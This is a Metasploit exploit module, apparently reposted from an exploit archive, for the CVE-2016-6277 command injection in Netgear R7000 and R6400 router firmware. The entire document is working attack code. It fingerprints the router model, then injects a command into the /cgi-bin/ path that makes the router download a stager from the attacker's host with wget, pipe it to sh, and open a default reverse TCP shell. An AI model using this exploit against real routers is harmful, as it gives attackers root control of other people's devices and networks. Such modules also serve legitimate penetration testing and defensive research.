Netgear R7000 / R6400 – ‘cgi-bin’ Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", 'Description' => %q{ This module exploits an arbitrary command injection vulnerability in Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. }, 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Author' => ['thecarterb', 'Acew0rm'], 'DefaultTarget' => 0, 'Privileged' => true, 'Arch' => ARCH_ARMLE, 'Targets' => [ [ 'Automatic Target', { } ] ], 'References' => [ [ 'EDB', '40889'], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], [ 'CVE', '2016-6277'] ], 'DisclosureDate' => 'Dec 06 2016', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' } )) register_options( [ Opt::RPORT(80) ], self.class) deregister_options('URIPATH') end def scrape(text, start_trig, end_trig) text[/#{start_trig}(.*?)#{end_trig}/m, 1] end # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected def check res = send_request_cgi({'uri'=>'/'}) if res.nil? fail_with(Failure::Unreachable, 'Connection timed out.') end # Checks for the `WWW-Authenticate` header in the response if res.headers["WWW-Authenticate"] data = res.to_s marker_one = "Basic realm=\"NETGEAR " marker_two = "\"" model = scrape(data, marker_one, marker_two) vprint_status("Router is a NETGEAR router (#{model})") if model == 'R7000' || model == 'R6400' print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else return CheckCode::Safe end else print_error('Router is not a NETGEAR router') return CheckCode::Safe end end def exploit return if check == CheckCode::Safe @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') send_request_cgi( 'method' => 'GET', 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" ) end # Return CmdStager on first request, payload on second def on_request_uri(cli, request) if @cmdstager send_response(cli, @cmdstager) @cmdstager = nil else super end end end |